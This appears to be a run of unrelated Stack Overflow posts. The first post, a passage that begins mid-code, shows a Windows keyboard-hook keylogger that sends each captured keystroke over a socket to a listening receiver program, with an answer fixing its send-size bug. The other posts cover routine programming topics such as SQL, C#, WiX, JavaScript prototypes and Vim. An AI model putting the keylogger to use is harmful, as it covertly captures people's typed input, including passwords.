switch (tmp) {
case VK_BACK: buf = "<BACKSPACE>"; break;
case VK_TAB: buf = "<TAB>"; break;
case VK_CLEAR: buf = "<CLEAR>"; break;
case VK_RETURN: buf = "<ENTER>"; break;
case VK_SHIFT: buf = "<SHIFT>"; break;
case VK_CONTROL: buf = "<CTRL>"; break;
case VK_MENU: buf = "<ALT>"; break;
case VK_PAUSE: buf = "<PAUSE>"; break;
case VK_CAPITAL: buf = "<CAPS LOCK>"; break;
case VK_ESCAPE: buf = "<ESC>"; break;
case VK_SPACE: buf = "<SPACEBAR>"; break;
case VK_PRIOR: buf = "<PAGE UP>"; break;
case VK_NEXT: buf = "<PAGE DOWN>"; break;
case VK_END: buf = "<END>"; break;
case VK_HOME: buf = "<HOME>"; break;
case VK_LEFT: buf = "<LEFT ARROW>"; break;
case VK_UP: buf = "<UP ARROW>"; break;
case VK_RIGHT: buf = "<RIGHT ARROW>"; break;
case VK_DOWN: buf = "<DOWN ARROW>"; break;
case VK_SELECT: buf = "<SELECT>"; break;
case VK_PRINT: buf = "<PRINT>"; break;
case VK_EXECUTE: buf = "<EXECUTE>"; break;
case VK_SNAPSHOT: buf = "<PRINT SCREEN>"; break;
case VK_INSERT: buf = "<INSERT>"; break;
case VK_DELETE: buf = "<DEL>"; break;
case VK_HELP: buf = "<HELP>"; break;
case VK_LWIN: buf = "<Left Windows key>"; break;
case VK_RWIN : buf = "<Right Windows key>"; break;
case VK_APPS: buf = "<Applications key>"; break;
case VK_SLEEP: buf = "<Computer Sleep key>"; break;
case VK_NUMPAD0: buf = "0"; break;
case VK_NUMPAD1: buf = "1"; break;
case VK_NUMPAD2: buf = "2"; break;
case VK_NUMPAD3: buf = "3"; break;
case VK_NUMPAD4: buf = "4"; break;
case VK_NUMPAD5: buf = "5"; break;
case VK_NUMPAD6: buf = "6"; break;
case VK_NUMPAD7: buf = "7"; break;
case VK_NUMPAD8: buf = "8"; break;
case VK_NUMPAD9: buf = "9"; break;
case VK_MULTIPLY: buf = "*"; break;
case VK_ADD: buf = "+"; break;
case VK_SEPARATOR: buf = "<Separator key>"; break;
case VK_SUBTRACT: buf = "-"; break;
case VK_DECIMAL: buf = "."; break;
case VK_DIVIDE: buf = "/"; break;
case VK_F1: buf = "<F1>"; break;
case VK_F2: buf = "<F2>"; break;
case VK_F3: buf = "<F3>"; break;
case VK_F4: buf = "<F4>"; break;
case VK_F5: buf = "<F5>"; break;
case VK_F6: buf = "<F6>"; break;
case VK_F7: buf = "<F7>"; break;
case VK_F8: buf = "<F8>"; break;
case VK_F9: buf = "<F9>"; break;
case VK_F10: buf = "<F10>"; break;
case VK_F11: buf = "<F11>"; break;
case VK_F12: buf = "<F12>"; break;
case VK_NUMLOCK: buf = "<NUM LOCK>"; break;
case VK_SCROLL: buf = "<SCROLL LOCK>"; break;
case VK_LSHIFT: buf = "<Left SHIFT>"; break;
case VK_RSHIFT: buf = "<Right SHIFT>"; break;
case VK_LCONTROL: buf = "<Left CONTROL>"; break;
case VK_RCONTROL: buf = "<Right CONTROL>"; break;
case VK_LMENU: buf = "<Left MENU>"; break;
case VK_RMENU: buf = "<Right MENU>"; break;
case VK_BROWSER_BACK: buf = "<Browser Back key>"; break;
case VK_BROWSER_FORWARD: buf = "<Browser Forward key>"; break;
case VK_BROWSER_REFRESH: buf = "<Browser Refresh key>"; break;
case VK_BROWSER_STOP: buf = "<Browser Stop key>"; break;
case VK_BROWSER_SEARCH: buf = "<Browser Search key >"; break;
case VK_BROWSER_FAVORITES: buf = "<Browser Favorites key>"; break;
case VK_BROWSER_HOME: buf = "<Browser Start and Home key>"; break;
case VK_VOLUME_MUTE: buf = "<Volume Mute key>"; break;
case VK_VOLUME_DOWN: buf = "<Volume Down key>"; break;
case VK_VOLUME_UP: buf = "<Volume Up key>"; break;
case VK_MEDIA_NEXT_TRACK: buf = "<Next Track key>"; break;
case VK_MEDIA_PREV_TRACK: buf = "<Previous Track key>"; break;
case VK_MEDIA_STOP: buf = "<Stop Media key>"; break;
case VK_MEDIA_PLAY_PAUSE: buf = "<Play/Pause Media key>"; break;
case VK_LAUNCH_MAIL: buf = "<Start Mail key>"; break;
case VK_LAUNCH_MEDIA_SELECT: buf = "<Select Media key>"; break;
case VK_LAUNCH_APP1: buf = "<Start Application 1 key>"; break;
case VK_LAUNCH_APP2: buf = "<Start Application 2 key>"; break;
case VK_OEM_1: buf = "<;:' key >"; break;
case VK_OEM_PLUS: buf = "+"; break;
case VK_OEM_COMMA: buf = ","; break;
case VK_OEM_MINUS: buf = "-"; break;
case VK_OEM_PERIOD: buf = "."; break;
case VK_OEM_2: buf = "</?' key >"; break;
case VK_OEM_3: buf = "<`~' key >"; break;
case VK_OEM_4: buf = "<[{' key>"; break;
case VK_OEM_5: buf = "<\|' key>"; break;
case VK_OEM_6: buf = "<]}' key>"; break;
case VK_OEM_7: buf = "<single-quote/double-quote' key>"; break;
case VK_OEM_CLEAR: buf = "<Clear>"; break;
default:
buf[0] = char(tmp);
buf[1] = char(0);
buf[2] = char(0);
buf[3] = char(0);
buf[4] = char(0);
buf[5] = char(0);
buf[6] = char(0);
buf[7] = char(0);
buf[8] = char(0);
}
send(kSock,buf,sizeof(buf),0);
}
return CallNextHookEx(NULL, nCode, wParam, lParam);
}
}
</code></pre>
<p><strong>Client:</strong></p>
<pre><code>// lkv.cpp : Defines the entry point for the console application.
//
#include "stdafx.h"
#include <windows.h>
#include <iostream>
int main()
{
WSAData wsdata;
WORD wsver=MAKEWORD(2, 0);
int nret=WSAStartup(wsver, &wsdata);
if(nret != 0){
std::cout<<"Startup failed, error code: "<<WSAGetLastError();
WSACleanup();
return -1;
}
std::cout<<"Init success\n";
SOCKET kSock=socket(AF_INET, SOCK_STREAM, 0);
if(kSock == INVALID_SOCKET){
std::cout<<"Socket init failed";
return -1;
}
std::cout<<"Socket initialized\n";
sockaddr_in sin;
sin.sin_port=htons(808);
sin.sin_addr.s_addr=INADDR_ANY;
sin.sin_family=AF_INET;
if(bind(kSock,(sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR){
std::cout<<"Failed to bind\n";
WSACleanup();
return -1;
}
std::cout<<"Bind successful!\n";
while (listen(kSock, SOMAXCONN) == SOCKET_ERROR);
SOCKET client;
int len = sizeof(sin);
client=accept(kSock, (sockaddr*)&sin, &len);
std::cout<<"Connection established!\n";
int i;
for(;;)
{
char buf[22];
recv(client, buf, sizeof(buf), 0);
std::cout << buf;
}
closesocket(client);
closesocket(kSock);
WSACleanup();
return 0;
}
</code></pre>
| <p>In your server side, your send line is:</p>
<pre><code>send(kSock,buf,sizeof(buf),0);
</code></pre>
<p>And buf is a char*. The size of a char* in your case in 4 bytes, so you're telling send to send 4 bytes of data, when you really want to send the size of the buffer which is strlen(buf)+1 (The plus one is to include the terminating zero of the string).</p>
|
Create a query dynamically through code in MSAccess 2003 [VBA] <p>Hi I need to create a query in MSAccess 2003 through code (a.k.a. VB) -- how can I accomplish this?</p>
| <p>A vague answer for a vague question :)</p>
<pre><code>strSQL="SELECT * FROM tblT WHERE ID =" & Forms!Form1!txtID
Set qdf=CurrentDB.CreateQueryDef("NewQuery",strSQL)
DoCmd.OpenQuery qdf.Name
</code></pre>
|
Looking for alternative Collaberative Developing Environements <p>I'm interested in Collaberative Developing and I was wondering if there are alternative solutions than using <a href="http://www.vimeo.com/1653402" rel="nofollow">UNA (example video)</a> from N-Brain. Free would be even better, but I guess that's not an option which such technology.</p>
<p>PS: The main future I'm looking for is working real-time with multiple persons in the same code.</p>
| <p>If you're in Mac world, <a href="http://www.subethaedit.net/" rel="nofollow">SubEthaEdit</a> is a good option. Not free, but â¬29 isn't bad.</p>
|
Database schema design <p>I'm quite new to database design and have some questions about best practices and would really like to learn.
I am designing a database schema, I have a good idea of the requirements and now its a matter of getting it into black and white.</p>
<p>In this pseudo-database-layout, I have a table of customers, table of orders and table of products.</p>
<p><strong>TBL_PRODUCTS:</strong><BR>
ID<BR>
Description<BR>
Details<BR></p>
<p><strong>TBL_CUSTOMER:</strong><BR>
ID<BR>
Name<BR>
Address<BR></p>
<p><strong>TBL_ORDER:</strong><BR>
ID<BR>
TBL_CUSTOMER.ID<BR>
prod1<BR>
prod2<BR>
prod3<BR>
etc<BR></p>
<p>Each 'order' has only one customer, but can have any number of 'products'.</p>
<p>The problem is, in my case, the products for a given order can be any amount (hundreds for a single order) on top of that, each product for an order needs more than just a 'quantity' but can have values that span pages of text for a specific product for a specific order.
My question is, how can I store that information?</p>
<p>Assuming I can't store a variable length array as single field value, the other option is to have a string that is delimited somehow and split by code in the application.
An order could have say 100 products, each product having either only a small int, or 5000 characters or free text (or anything in between), unique only to that order.</p>
<p>On top of that, each order must have it's own audit trail as many things can happen to it throughout it's lifetime.
An audit trail would contain the usual information - user, time/date, action and can be any length.
Would I store an audit trail for a specific order in it's own table (as they could become quite lengthy) created as the order is created?</p>
<p>Are there any places where I could learn more about techniques for database design?</p>
| <p>The most common way would be to store the order items in another table.</p>
<pre><code>TBL_ORDER:
ID
TBL_CUSTOMER.ID
TBL_ORDER_ITEM:
ID
TBL_ORDER.ID
TBL_PRODUCTS.ID
Quantity
UniqueDetails
</code></pre>
<p>The same can apply to your Order audit trail. It can be a new table such as</p>
<pre><code>TBL_ORDER_AUDIT:
ID
TBL_ORDER.ID
AuditDetails
</code></pre>
|
Messaging, Queues and ESB's - I know where I want to be but not how to get there <p>To cut a long story short, I am working on a project where we are rewriting a large web application for all the usual reasons. The main aim of the rewrite is to separate this large single application running on single server into many smaller decoupled applications, which can be run on many servers.</p>
<p>Ok here's what I would like:</p>
<p>I would like <code>HTTP</code> to be the main transport mechanism. When one application for example the CMS has been updated it will contact the broker via http and say <em><code>"I've changed"</code></em>, then the broker will send back a <em><code>200 OK</code></em> to say <em><code>"thanks I got the message"</code></em>. </p>
<p>The broker will then look on its list of other applications who wanted to hear about CMS changes and pass the message to the url that the application left when it told the broker it wanted to hear about the message. </p>
<p>The other applications will return <code>200 OK</code> when they receive the message, if not the broker keeps the message and queues it up for the next time someone tries to contact that application.</p>
<p>The problem is I don't even know where to start or what I need to make it happen. I've been looking at <kbd>XMPP</kbd>, <kbd>ActiveMQ</kbd>, <kbd>RabbitMQ</kbd>, <kbd>Mule ESB</kbd> etc. and can see I could spend the next year going around in circles with this stuff.</p>
<p>Could anyone offer any advice from personal experience as I would quite like to avoid learning lessons the hard way.</p>
| <p>I've worked with JMS messaging in various software systems since around 2003. I've got a web app where the clients are effectively JMS topic subscribers. By the mere act of publishing a message into a topic, the message gets server-pushed dissemenated to all the subscribing web clients.</p>
<p>The web client is Flex-based. Our middle-tier stack consist of:</p>
<ul>
<li>Java 6</li>
<li>Tomcat 6</li>
<li>BlazeDS</li>
<li>Spring-Framework</li>
<li>ActiveMQ (JMS message broker)</li>
</ul>
<p>BlazeDS has ability to be configured as a bridge to JMS. It's a Tomcat servlet that responds to Flex client remoting calls but can also do message push to the clients when new messages appear in the JMS topic that it is configured to.</p>
<p>BlazeDS implements the Comet Pattern for doing server-side message push:</p>
<p><a href="http://www.javaworld.com/javaworld/jw-03-2008/jw-03-asynchhttp.html">Asynchronous HTTP and Comet architectures
An introduction to asynchronous, non-blocking HTTP programming</a></p>
<p>Farata Systems has announced that they have modified BlazeDS to work with the Jetty continuations approach to implementing the Comet Pattern. This enables scaling to thousands of Comet connections against a single physical server.</p>
<p><a href="http://flex.sys-con.com/node/720304/print">Farata Systems Achieves Performance Breakthrough with Adobe BlazeDS</a></p>
<p>We are waiting for Adobe to implement support of Servlet 3.0 in BlazeDS themselves as basically we're fairly wedded to using Tomcat and Spring in combo.</p>
<p>The key to the technique of doing massively scalable Comet pattern is to utilize Java NIO HTTP listeners in conjunction to a thread pool (such as the Executor class in Java 5 Concurrency library). The Servlet 3.0 is an async event-driven model for servlets that can be tied together with such a HTTP listener. Thousands (numbers like 10,000 to 20,000) concurrent Comet connections can then be sustained against a single physical server.</p>
<p>Though in our case we are using Adobe Flex technology to turn web clients into event-driven messaging subscribers, the same could be done for any generic AJAX web app. In AJAX circles the technique of doing server-side message push is often referred to as <em>Reverse AJAX</em>. You may have caught that Comet is a play on words, as in the counterpart to Ajax (both household cleaners). The nice thing for us, though, is we just wire together our pieces and away we go. Generic AJAX web coders will have a lot more programming work to do. (Even a generic web app could play with BlazeDS, though - it just wouldn't have any use for the AMF marshaling that BlazeDS is capable of.)</p>
<p>Finally, Adobe and SpringSource are cooperating on establishing a smoother, out-of-the-box integration of BlazeDS in conjunction to the Spring-Framework:</p>
<p><a href="http://www.springsource.com/node/1077">Adobe Collaborates with SpringSource for Enhanced Integration Between Flash and SpringSource Platforms</a></p>
|
Is there a way to do object (with its attributes) serializing to xml? <p>Create a class (call it FormElement). That class should have some properties like the metadata they have with data elements (name, sequence number, valueâwhich is just a string, etc).</p>
<p>This class has as attributes of type Validation Application Block Validation classes.</p>
<p>I want to serialize it to xml and deserialize it. Verify that all properties of the class including the validation application block attributes survive serialization.</p>
<p>some suggestion? </p>
| <p>The .NET framework has this built in, using C# you would do it like this:</p>
<pre><code>// This code serializes a class instance to an XML file:
XmlSerializer xs = new XmlSerializer(typeof(objectToSerialize));
using (TextWriter writer = new StreamWriter(xmlFileName))
{
xs.Serialize(writer, InstanceOfObjectToSerialize);
}
</code></pre>
<p>And this snippet is an example of how to deserialize an XML file back to a class instance:</p>
<pre><code>// this code creates a class instance from the file we just made:
objectToSerialize newObject;
XmlSerializer xs = new XmlSerializer(typeof(objectToSerialize));
using (TextReader reader = new StreamReader(xmlFileName))
{
newObject = (ObjectToSerialize) xs.Deserialize(reader);
}
</code></pre>
<p>You must mark your class with the [Serializable] attribute for these to work. If you want to make your XML output a little more pretty, you can use [XmlElement] and [XmlAttribute] attributes on your class properties to have them serialize into your schema of choice.</p>
|
WiX generated MSI is not compressed <p>I use WiX3 to generate MSI installation package.
I have specified comression flag on in both the <code><Package></code> and <code><Media></code> elements:</p>
<pre><code><Package InstallerVersion="200" Compressed="yes"/>
<Media Id="1" Cabinet="MySetup.cab" EmbedCab="yes" CompressionLevel="high" />
</code></pre>
<p>but the resulting MSI is not compressed at all - WinZip compressed it from 2M down to 600K.</p>
<p>Am I missing something? </p>
<p>I am using VS2008 btw.</p>
| <p>MSI files are not OLE Structured Storage files. They cannot be compressed and have the Windows Installer still be able to read them. However, many things are stored in the MSI file (such as your UI graphics and CustomAction DLLs and Shortcut Icons) so you should be conscious of the content you are putting into the MSI.</p>
<p>There is nothing in the WiX toolset to analyze each of the things you are putting them in the MSI and compressing them (except the cab file, of course since that is expected by the Windows Installer to be compressed).</p>
<p>Honestly, the Windows Installer does not natively support the best compression of today. One thing to do is to build the package and use a bootstrapper distributes compressed content and uncompresses before passing it to the Windows Installer. That is the plan for WiX v3.5's burn bootstrapper.</p>
|
Can't operator == be applied to generic types in C#? <p>According to the documentation of the <code>==</code> operator in <a href="http://msdn.microsoft.com/en-us/library/53k8ybth.aspx">MSDN</a>, </p>
<blockquote>
<p>For predefined value types, the
equality operator (==) returns true if
the values of its operands are equal,
false otherwise. For reference types
other than string, == returns true if
its two operands refer to the same
object. For the string type, ==
compares the values of the strings.
User-defined value types can overload
the == operator (see operator). So can
user-defined reference types, although
<strong>by default == behaves as described
above for both predefined and
user-defined reference types.</strong></p>
</blockquote>
<p>So why does this code snippet fail to compile?</p>
<pre><code>void Compare<T>(T x, T y) { return x == y; }
</code></pre>
<p>I get the error <em>Operator '==' cannot be applied to operands of type 'T' and 'T'</em>. I wonder why, since as far as I understand the <code>==</code> operator is predefined for all types?</p>
<p><strong>Edit:</strong> Thanks everybody. I didn't notice at first that the statement was about reference types only. I also thought that bit-by-bit comparison is provided for all value types, which I now know is <em>not</em> correct.</p>
<p>But, in case I'm using a reference type, would the the <code>==</code> operator use the predefined reference comparison, or would it use the overloaded version of the operator if a type defined one?</p>
<p><strong>Edit 2:</strong> Through trial and error, we learned that the <code>==</code> operator will use the predefined reference comparison when using an unrestricted generic type. Actually, the compiler will use the best method it can find for the restricted type argument, but will look no further. For example, the code below will always print <code>true</code>, even when <code>Test.test<B>(new B(), new B())</code> is called:</p>
<pre><code>class A { public static bool operator==(A x, A y) { return true; } }
class B : A { public static bool operator==(B x, B y) { return false; } }
class Test { void test<T>(T a, T b) where T : A { Console.WriteLine(a == b); } }
</code></pre>
| <p>As others have said, it will only work when T is constrained to be a reference type. Without any constraints, you can compare with null, but only null - and that comparison will always be false for non-nullable value types.</p>
<p>Instead of calling Equals, it's better to use an <code>IComparer<T></code> - and if you have no more information, <code>EqualityComparer<T>.Default</code> is a good choice:</p>
<pre><code>public bool Compare<T>(T x, T y)
{
return EqualityComparer<T>.Default.Equals(x, y);
}
</code></pre>
<p>Aside from anything else, this avoids boxing/casting.</p>
|
In Excel automation, how to gracefully handle invalid file format error upon file opening? <p>I'm trying to open a Microsoft Excel file in a C# program using the 'excelApp.Workbooks.Open()' method. As it happens, if the format of the file is invalid, this method causes an error message box to be displayed. I, however, don't want that; I wish to handle this error gracefully in my own code.</p>
<p>My question is, how do I do that? </p>
<p>The above method doesn't throw any exception which I can catch. Even if it did, there's still that pesky message box anyway. So perhaps the only way would be to validate the file format <em>before</em> opening it. Is there, then, another method in Excel API to allow such validation?</p>
| <p>I am sorry, I am not able to simulate the corrupt xls file example with Excel 2007.</p>
<p>Try Application.DisplayAlerts = False before calling Workbooks.Open...</p>
<p>If the workbook can't be opened, the returned value will be null.<br>
(i.e. Workbook wkb = Workbooks.Open(....);
wkb will be null when DisplayAlerts = False and the file could not be opended)</p>
<p>This is purely based on what I understand of excel object model.</p>
|
asp.net mvc authorization using roles <p>I'm creating an asp.net mvc application that has the concept of users. Each user is able to edit their own profile. For instance: </p>
<ul>
<li>PersonID=1 can edit their profile by going to <a href="http://localhost/person/edit/1">http://localhost/person/edit/1</a></li>
<li>PersonID=2 can edit their profile by going to <a href="http://localhost/person/edit/2">http://localhost/person/edit/2</a></li>
</ul>
<p>Nothing particularly exciting there...</p>
<p>However, I have run into a bit of trouble with the Authorization scheme. There are only two roles in the system right now, "Administrator" and "DefaultUser", but there will likely be more in the future.</p>
<p>I can't use the regular Authorize attribute to specify Authorization because both users are in the same role (i.e., "DefaultUser").</p>
<p>So, if I specify the Authorize Filter like so:</p>
<pre><code>[Authorize(Roles = "DefaultUser")]
</code></pre>
<p>then there is no effect. PersonID=1 can go in and edit their own profile (as they should be able to), but they can also just change the URL to <a href="http://localhost/person/edit/2">http://localhost/person/edit/2</a> and they have full access to edit PersonID=2's profile as well (which they should not be able to do).</p>
<p>Does this mean that I have to create my own Authorization filter that checks if the action the user is requesting "belongs" to them before allowing them access? That is, if the edit action, with parameter = 1 is being requested by the currently logged in person, do I need to do a custom check to make sure that the currently logged in person is PersonID=1, and if so, authorize them, and if not, deny access?</p>
<p>Feels like I'm missing something obvious here, so any guidance would be appreciated.</p>
| <p>Maybe you could organize the controller action such that the URL is more like <a href="http://localhost/person/editme">http://localhost/person/editme</a> and it displays the edit form for the currently-logged-in user. That way there's no way a user could hack the URL to edit someone else.</p>
|
How do I trim date in PLSQL? <p>I have a date variable as 24-dec-08
I want only the 08 component from it.
How do I do it in a select statement?</p>
<p>e.g.:</p>
<pre><code>select db||sysdate
(this is the component where I want only 08 from the date)
from gct;
</code></pre>
<p>How do i do it?</p>
| <p>The easiest way is to use the <code>to_char</code> function this way:</p>
<pre><code>to_char(sysdate, 'YY')
</code></pre>
<p>as <a href="http://www.techonthenet.com/oracle/functions/to_char.php" rel="nofollow">documented here</a>.</p>
<p>If you need the integer value, you could use the <code>extract</code> function for dates too. Take a look <a href="http://www.techonthenet.com/oracle/functions/extract.php" rel="nofollow">here</a> for a detailed description of the <code>extract</code> syntax.</p>
<p>For example:</p>
<pre><code>extract(YEAR FROM DATE '2008-12-24')
</code></pre>
<p>would return <em>2008</em>. </p>
<p>If you just need the value of the last two digits, you could apply the <a href="http://www.techonthenet.com/oracle/functions/mod.php" rel="nofollow">modulo function</a> <code>MOD</code>:</p>
<pre><code>mod(extract(YEAR FROM DATE '2008-12-24'), 100)
</code></pre>
<p>would return <em>8</em>.</p>
|
What is an HttpHandler in ASP.NET <p>What is an HttpHandler in ASP.NET? Why and how is it used?</p>
| <p>In the simplest terms, an ASP.NET HttpHandler is a class that implements the <code>System.Web.IHttpHandler</code> interface. </p>
<p>ASP.NET HTTPHandlers are responsible for intercepting requests made to your ASP.NET web application server. They run as processes in response to a request made to the ASP.NET Site. The most common handler is an ASP.NET page handler that processes .aspx files. When users request an .aspx file, the request is processed by the page through the page handler. </p>
<p>ASP.NET offers a few <strong>default HTTP handlers</strong>:</p>
<ul>
<li>Page Handler (.aspx): handles Web pages</li>
<li>User Control Handler (.ascx): handles Web user control pages</li>
<li>Web Service Handler (.asmx): handles Web service pages</li>
<li>Trace Handler (trace.axd): handles trace functionality</li>
</ul>
<p>You can create your own <strong>custom HTTP handlers</strong> that render custom output to the browser. Typical scenarios for HTTP Handlers in ASP.NET are for example</p>
<ul>
<li>delivery of dynamically created images (charts for example) or resized pictures.</li>
<li>RSS feeds which emit RSS-formated XML</li>
</ul>
<p>You <strong>implement</strong> the <code>IHttpHandler</code> interface to create a synchronous handler and the <code>IHttpAsyncHandler</code> interface to create an asynchronous handler. The interfaces require you to implement the <code>ProcessRequest</code> method and the <code>IsReusable</code> property.</p>
<p>The <code>ProcessRequest</code> method handles the actual processing for requests made, while the Boolean <code>IsReusable</code> property specifies whether your handler can be pooled for reuse (to increase performance) or whether a new handler is required for each request.</p>
|
Is it possible to programmatically distinguish between versions of SQL Server? <p>Basically, is it possible to identify if some-one hooks up my program to SQL server Compact or Express Edition? I want to be able to restrict different versions of my product to different versions of SQL Server.</p>
| <p>After connection to a database, you can always run the T-Sql:</p>
<pre><code>SELECT SERVERPROPERTY ('edition')
</code></pre>
<p>This should give you the different editions</p>
<p>Other useful info may come from:</p>
<pre><code>SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY ('productlevel')
</code></pre>
|
phpunit warning on an utilitary class <p>I use phpUnit on a integration server to run all tests and if I lauch phpunit command from the command line, I receive</p>
<pre><code>PHPUnit 3.2.18 by Sebastian Bergmann.
F..III..I......I.IIII...
Time: 6 seconds
There was 1 failure:
1) Warning(PHPUnit_Framework_Warning)
No tests found in class "TU".
FAILURES
Tests: 24, Failures: 1, Incomplete: 9.
</code></pre>
<p>Via apache, running the same test file :</p>
<pre><code>PHPUnit 3.2.18 by Sebastian Bergmann.
..III..I......I.IIII...
Time: 7 seconds
OK, but incomplete or skipped tests!
Tests: 23, Incomplete: 9.
</code></pre>
<p>My TU class just include all tests classes with a $suite->addTestFile(),
and which have two static functions : main() which run all the tests,
and suite() which return the tests suite.
But the TU class is not in the primary file given as parameter to
phpunit command, it's a generic class wich scan files and list all test
class.</p>
<p>I have the same problem with a class witch extends PHPUnit_Framework_TestCase to add specific assert(), wich is not included via $suite->addTestFile() but only by a require().</p>
<p>How can I correct this?
Thanks in advance</p>
<p>Regards
Cédric</p>
| <p>For the class wich extends PHPUnit_Framework_TestCase, it should be abstract, and the warning disapear.
For the first problem, it seems it is a bug.</p>
|
Make <div> resizeable <p>Is there a way to make a <div> container resizeable with drag'n'drop? So that the user can change the size of it using drag'n'drop?</p>
<p>Any help would really be appreciated!</p>
| <p>The best method would be to use CSS3. It supported by at least Webkit and Gecko.</p>
<p>According to the <a href="http://www.w3.org/TR/css3-ui/#resize">w3c spec</a>:</p>
<pre><code>div.my_class {
resize:both;
overflow:auto; /* something other than visible */
}
</code></pre>
<p>Webkit and Firefox do not interpret the specs the same way. In Webkit the size is limited to the width and height set. There's another question: <a href="http://stackoverflow.com/questions/18178301/how-can-i-use-css-resize-to-resize-an-element-to-a-height-width-less-than-init">How can I use CSS to make an element resizable to a dimension smaller than the initial one?</a> concerning this.</p>
|
ASP.NET GridView sorting on a calculated field <p>I have a DataBound GridView. However I have one column where the value comes from a calculation in the code behind - it is displayed within a TemplateField.</p>
<p>How can a sort my grid based on this calculated value ?</p>
| <p>Put your initial returned data into a DATASET or a DATATABLE. Add to the DATATABLE a new column for you calculated field. Walked that data doing the necessary calculation, and putting the result into said calculated field. </p>
<p>Create a new view based on the datatable, and sort the view by the calculated field. Bind the grid to the data view.</p>
<pre><code>Dim DT as DataTable
DT = GetDataTableFromDataBaseMethod()
DT.Columns.Add(New DataColumn("CalculatedColumnName"))
For each row as DataRow in DT.Rows
row("CalculatedColumnName") = PerformCalculations(row)
Next
Dim view as New DataView
view.DataTable =dt
View.Sort = "CalculatedColumnName DESC"
datagrid1.Datasource = view
datagrid1.Databind
</code></pre>
<p>Or, if possible, perform the calculation in the SQL statement, re:</p>
<pre><code>SELECT Col1, Col2, Col3, Col1+Col2+Col3 AS LineTotal FROM Table;
</code></pre>
|
Javascript Prototypal Inheritance Doubt II <p>I'been doing some inheritance in js in order to understand it better, and I found something that confuses me.</p>
<p>I know that when you call an 'constructor function' with the new keyword, you get a new object with a reference to that function's prototype.</p>
<p>I also know that in order to make prototypal inheritance you must replace the prototype of the constructor function with an instance of the object you want to be the 'superclass'.</p>
<p>So I did this silly example to try these concepts:</p>
<pre><code>function Animal(){}
function Dog(){}
Animal.prototype.run = function(){alert("running...")};
Dog.prototype = new Animal();
Dog.prototype.bark = function(){alert("arf!")};
var fido = new Dog();
fido.bark() //ok
fido.run() //ok
console.log(Dog.prototype) // its an 'Object'
console.log(fido.prototype) // UNDEFINED
console.log(fido.constructor.prototype == Dog.prototype) //this is true
function KillerDog(){};
KillerDog.prototype.deathBite = function(){alert("AAARFFF! *bite*")}
fido.prototype = new KillerDog();
console.log(fido.prototype) // no longer UNDEFINED
fido.deathBite(); // but this doesn't work!
</code></pre>
<p>(This was done in Firebug's console)</p>
<p>1) Why if all new objects contain a reference to the creator function's prototype, fido.prototype is undefined?</p>
<p>2) Is the inheritance chain [obj] -> [constructor] -> [prototype] instead of [obj] -> [prototype] ?</p>
<p>3) is the 'prototype' property of our object (fido) ever checked? if so... why is 'deathBite' undefined (in the last part)?</p>
<p>Thanks!</p>
| <blockquote>
<p>1) Why if all new objects contain a
reference to the creator function's
prototype, fido.prototype is
undefined?</p>
</blockquote>
<p>All new objects do hold a reference to the prototype that was present on their constructor at the time of construction. However the property name used to store this reference is not <code>prototype</code> as it is on the constructor function itself. Some Javascript implementations do allow access to this 'hidden' property via some property name like <code>__proto__</code> where others do not (for example Microsofts).</p>
<blockquote>
<p>2) Is the inheritance chain [obj] ->
[constructor] -> [prototype] instead
of [obj] -> [prototype] ?</p>
</blockquote>
<p>No. Take a look at this:-</p>
<pre><code>function Base() {}
Base.prototype.doThis = function() { alert("First"); }
function Base2() {}
Base2.prototype.doThis = function() { alert("Second"); }
function Derived() {}
Derived.prototype = new Base()
var x = new Derived()
Derived.prototype = new Base2()
x.doThis();
</code></pre>
<p>This alerts "First" not Second. If the inheritance chain went via the constructor we would see "Second". When an object is constructed the current reference held in the Functions prototype property is transfered to the object hidden reference to its prototype.</p>
<blockquote>
<p>3) is the 'prototype' property of our
object (fido) ever checked? if so...
why is 'deathBite' undefined (in the
last part)?</p>
</blockquote>
<p>Assigning to an object (other than a Function) a property called <code>prototype</code> has no special meaning, as stated earlier an object does not maintain a reference to its prototype via such a property name.</p>
|
System design: Preventing/detecting vote fraud <p>In light of the recent <a href="http://blog.stackoverflow.com/2008/12/vote-fraud-and-you/" rel="nofollow">vote fraud incident</a> here, I was wondering if anyone out there is familiar with building systems for preventing or detecting undesirable voting behavior. I imagine the technology is widely used in search engines, online advertising (e.g. click fraud), and community sites (e.g. Digg, reddit), but surprisingly little is made public for obvious reasons.</p>
<p><strong>So this is my question: How would you design such a system, taking into account complexity, and user experience? Is there some domain of academic research that looks into this?</strong></p>
<p>PS: This is <em>not</em> a question about the fraud detection mechanism or your recent personal experience here; for that please see <a href="http://stackoverflow.com/questions/389509/how-does-the-so-voter-fraud-detection-mechanism-work">this other question</a>.</p>
| <p>There is a whole lot in the literature on voting systems, and a good bit of game theory can be applied. The issue that's difficult is that it's inherently probabilistic; you pick certain patterns as indicating <em>probable</em> fraud, and detect or exclude them; by doing so, you also exclude the possibility that someone is voting that way for innocent, or at least non-fraudulent reasons.</p>
<p>Consider, eg, someone who reads my deathless prose, develops an instant man-crush on me, and goes through all my answers voting each one up. I've got more than 30 answers so it would take a few days. Now, by assumption, this isn't my reputation-whoring sock-puppet, it's a person who for their own reasons, however unwise, has devoting all their voting to me for days at a time.</p>
<p>Is this fraud? No, but it would be detected as, and probably treated as, fraud.</p>
|
In Vim, what is the simplest way to join all lines in a file into a single line? <p>I want to join all lines in a file into a single line. What is the simplest way of doing this? I've had poor luck trying to use substitution (<code>\r\n</code> or <code>\n</code> doesn't seem to get picked up correctly in the case of <code>s/\r\n//</code> on Windows). Using <code>J</code> in a range expression doesn't seem to work either (probably because the range is no longer in 'sync' after the first command is executed).</p>
<p>I tried <code>:1,$norm! J</code> but this only did half of the file - which makes sense because it just joins each line once.</p>
| <p>Another way:</p>
<pre><code>ggVGJ
</code></pre>
<p>"<code>ggVG</code>" visually selects all lines, and "<code>J</code>" joins them.</p>
|
Form designer inconsistent in control display style for updated project <p>I've got a project that I started in Turbo Delphi, which I recently updated to D2009, and I've noticed a bit of a quirk in the form designer. All the old forms have a Win98 style applied to them. The buttons are gray with sharp square edges, for example. But any new form I've created since the upgrade displays its controls in WinXP style. If I copy a control from an old form and paste it to a new one, the style changes. At runtime, all controls from all forms are shown in XP style.</p>
<p>Any idea what's causing my old forms to show in an old style? I've looked through the properties list, but nothing jumps out at me. But there's obviously something, and it's persistent because saving and reloading doesn't change it. Anyone know where this property is and how I can fix it?</p>
| <p>You should enable run time themes.</p>
<p>Did you check?</p>
